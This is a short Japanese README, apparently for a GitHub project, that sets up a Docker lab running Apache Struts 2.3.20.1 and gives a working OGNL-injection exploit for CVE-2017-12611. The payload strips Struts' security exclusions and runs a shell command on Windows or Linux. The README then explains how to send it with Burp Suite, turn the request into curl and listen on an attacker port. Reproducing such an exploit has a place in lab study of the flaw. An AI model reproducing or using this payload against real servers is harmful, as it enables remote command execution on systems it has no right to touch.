CVE-2017-12611 プロジェクト

概要:

提供されたペイロードを使用すると、RCE攻撃が可能になります。

環境とツール

以下は、隔離された個人ラボでのテストと検証のための環境とツールの一覧です。

ホストOS: Ubuntu 18.04.6
攻撃者OS: Kali Linux
コンテナプラットフォーム: Docker
ターゲットアプリケーションスタック: Apache Struts 2.3.20.1
追加コンポーネント: Burp Suite

環境セットアップ:

以下のコマンドを使用します:

docker compose up -d

環境を実行できます。その後、http://<YOUR_IP>:8080/hello.action にアクセスすると、送信ページが表示されます。

ペイロード:

%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

RCE攻撃を実行するには、Burp Suiteを使用する必要があります。Burp Suiteを使用してペイロードを送信してください。ペイロードを送信したら、正しいログ（POST）を見つけて、curlコマンドに変換します。最後に、攻撃者マシンを開き、リスナーポートからcurlコマンドを送信した後、ポートをリッスンします。

注意事項:

伏せられている部分はIPアドレスです。

CVE-2017-12611_Exploit

人気